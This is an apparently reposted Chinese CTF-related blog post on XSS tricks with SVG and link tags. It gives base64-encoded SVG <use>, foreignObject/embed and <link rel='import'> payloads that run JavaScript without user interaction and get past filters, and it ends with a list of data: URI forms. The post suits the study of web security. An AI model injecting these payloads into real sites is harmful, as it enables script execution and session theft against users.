xss link&svg黑魔法

2023-02-20 14:44:39 浏览数 (1)

在搞rctf的时候,无意间搜到了一些黑魔法,link and svg标签的奇效…

svg

对于svg,之前一直知道的仅仅只有svg可以不用交互,这样js伪协议和类似于

代码语言:javascript复制
```
<svg>
<use xlink:href='external.svg#rectangle' />
</svg>

如果存在external.svg,而且其中存在这样的代码

代码语言:javascript复制
<svg id="rectangle" xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
width="100" height="100">
<a xlink:href="javascript:alert(location)">
<rect x="0" y="0" width="100" height="100" />
</a>
</svg>

这样就会出现100*100的黑块,点击就会弹窗,但是事实上并没有这么简单,上面的payload其实改成这样:

代码语言:javascript复制
<svg>
<use xlink:href="data:image/svg xml;base64,
PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cDo
vL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW
5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rI
iAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI DQo8
YSB4bGluazpocmVmPSJqYXZhc2NyaXB0OmFsZXJ0KGx
vY2F0aW9uKSI PHJlY3QgeD0iMCIgeT0iMCIgd2lkdG
g9IjEwMCIgaGVpZ2h0PSIxMDAiIC8 PC9hPg0KPC9zd
mc #rectangle" />
</svg>

这样就不用存在别的svg文件,就可以执行所需要的js代码完成xss。 但是这样仍然需要点击才能出发xss。 然而在svg中支持

代码语言:javascript复制
<foreignObject>

这样的标签,包括

代码语言:javascript复制
<embed>

所以上面的payload就可以改成

代码语言:javascript复制
<svg id="rectangle"
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
width="100" height="100">

<script>alert(1)</script>

<foreignObject width="100" height="50"
requiredExtensions="http://www.w3.org/1999/xhtml">

<embed xmlns="http://www.w3.org/1999/xhtml" 
src="javascript:alert(location)" />

</foreignObject>
</svg>

base64一下就是

代码语言:javascript复制
<svg>
<use xlink:href="data:image/svg xml;base64,
PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cD
ovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhs
aW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW
5rIiAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI 
PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg0KIDxmb3
JlaWduT2JqZWN0IHdpZHRoPSIxMDAiIGhlaWdodD0i
NTAiDQogICAgICAgICAgICAgICAgICAgcmVxdWlyZW
RFeHRlbnNpb25zPSJodHRwOi8vd3d3LnczLm9yZy8x
OTk5L3hodG1sIj4NCgk8ZW1iZWQgeG1sbnM9Imh0dH
A6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIHNyYz0i
amF2YXNjcmlwdDphbGVydChsb2NhdGlvbikiIC8 DQ
ogICAgPC9mb3JlaWduT2JqZWN0Pg0KPC9zdmc #rectangle" />
</svg>

link

在这次比赛的writeup中见到的是这样的link标签,比上面的方式好用很多,因为可以bypass最新版chrome。 payload大概是长这样的

代码语言:javascript复制
<link rel="import" href="data:text/html;base64,PHNjcmlwdD5kZWxldGUgYWxlcnQ7YWxlcnQoIkhlbGxvIik7PC9zY3JpcHQ ">

href的地方本身就是可以插入js代码的,但是通过base64加密,可以bypass各种奇怪的过滤

这里很多用到了data类型的url,然而还有各种姿势

代码语言:javascript复制
data:,<文本数据>  
data:text/plain,<文本数据>  
data:text/html,<HTML代码>  
data:text/html;base64,<base64编码的HTML代码>  
data:text/css,<CSS代码>  
data:text/css;base64,<base64编码的CSS代码>  
data:text/javascript,<Javascript代码>  
data:text/javascript;base64,<base64编码的Javascript代码>  
data:image/gif;base64,base64编码的gif图片数据  
data:image/png;base64,base64编码的png图片数据  
data:image/jpeg;base64,base64编码的jpeg图片数据  
data:image/x-icon;base64,base64编码的icon图片数据

0 人点赞